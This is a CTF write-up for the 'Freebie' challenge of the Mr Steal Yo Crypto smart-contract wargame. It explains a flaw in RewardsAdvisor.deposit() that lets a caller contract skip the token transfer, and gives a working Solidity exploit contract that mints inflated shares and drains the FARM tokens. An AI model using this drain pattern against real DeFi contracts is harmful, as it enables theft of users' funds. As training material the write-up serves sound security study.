This is the #7 challenge of Mr Steal Yo Crypto. I will try to explain how to find the vulnerability.

A set of challenges to learn offensive security of smart contracts. Featuring interesting challenges loosely (or directly) inspired by real-world exploits.

Created by @0xToshii

I used the foundry version for this CTF: mr-steal-yo-crypto-ctf-foundry

Mr Steal Yo Crypto

Freebie

There’s a staking contract RewardsAdvisor which accepts FARM tokens and mints an equivalent amount of xFARM. xFARM is used for governance and within [redacted]’s defi ecosystem. Your task is to drain 99.99%+ of the FARM tokens from this contract.

Review of the contract

GovToken.sol

For the moment, I don’t have something to say on this contract.

RewardsAdvisor.sol

Well, it didn’t take a long time for spotting the vulnerability because it is in the first function: deposit(). We are able to mint an infinite amount of shares because if the parameter address from is a contract, then the contract calls the owner() and delegatedTransferERC20() functions of the from contract. If you saw my previous article, it is the same issue as the challenge #2 — Safu Vault and challenge #6 — Tasty Stake.

// @param farmDeposit Amount of FARM transferred from sender to RewardsAdvisor
// @param to Address to which liquidity tokens are minted
// @param from Address from which tokens are transferred
// @return shares Quantity of liquidity tokens minted as a result of deposit
function deposit(uint256 farmDeposit, address payable from, address to) external returns (uint256 shares) {
    require(farmDeposit > 0, "deposits must be nonzero ");
    require(to != address(0) && to != address(this), "to ");
    require(from != address(0) && from != address(this), "from ");
    
    shares = farmDeposit;
    if (xfarm.totalSupply() != 0) {
        uint256 farmBalance = farm.balanceOf(address(this));
        shares = (shares * xfarm.totalSupply()) / farmBalance;
    }
    
    if (isContract(from)) {
        require(IAdvisor(from).owner() == msg.sender); // admin
        IAdvisor(from).delegatedTransferERC20(address(farm), address(this), farmDeposit);
    } else {
        require(from == msg.sender); // user
        farm.safeTransferFrom(from, address(this), farmDeposit);
    }
    
    xfarm.mint(to, shares);
}

Exploit the vulnerability

This is the same vulnerability as the challenge #2 — Safu Vault and challenge #6 — Tasty Stake.

Here is a quick solution:

contract Exploit {
    Token farm;
    GovToken govToken;
    RewardsAdvisor rewardsAdvisor;
    address private attacker;

    constructor(address _target, address _farm, address _xfarm) {
        farm = Token(_farm);
        govToken = GovToken(_xfarm);
        rewardsAdvisor = RewardsAdvisor(_target);
        attacker = msg.sender;
    }

    // Will be called during deposit()
    function owner() external returns (address) {
        return address(this);
    }

    // Will be called during deposit()
    function delegatedTransferERC20(address token, address to, uint256 amount) external {
        // Do nothing in the exploit contract
    }

    // Deposit() will call our contract and so we will skip some process like the transfer of farm token
    function pwn(address _target) external {
        uint256 amount = govToken.balanceOf(address(_target)) * uint256(10000) / uint256(1);
        console.log("amount shares we want : ", amount);
        rewardsAdvisor.deposit(amount, payable(address(this)), address(this));
        console.log("amount shares exploit got : ", govToken.balanceOf(address(this)));
        rewardsAdvisor.withdraw(govToken.balanceOf(address(this)), attacker, payable(address(this)));
        console.log("amount farm attacker got : ", farm.balanceOf(address(attacker)));
        // farm.transfer(owner, farm.balanceOf(address(this)));
    }
}

You can check my test file here.

Acknowledgement

Thank you https://stermi.xyz/ for inspiring me to write articles on CTF ^^.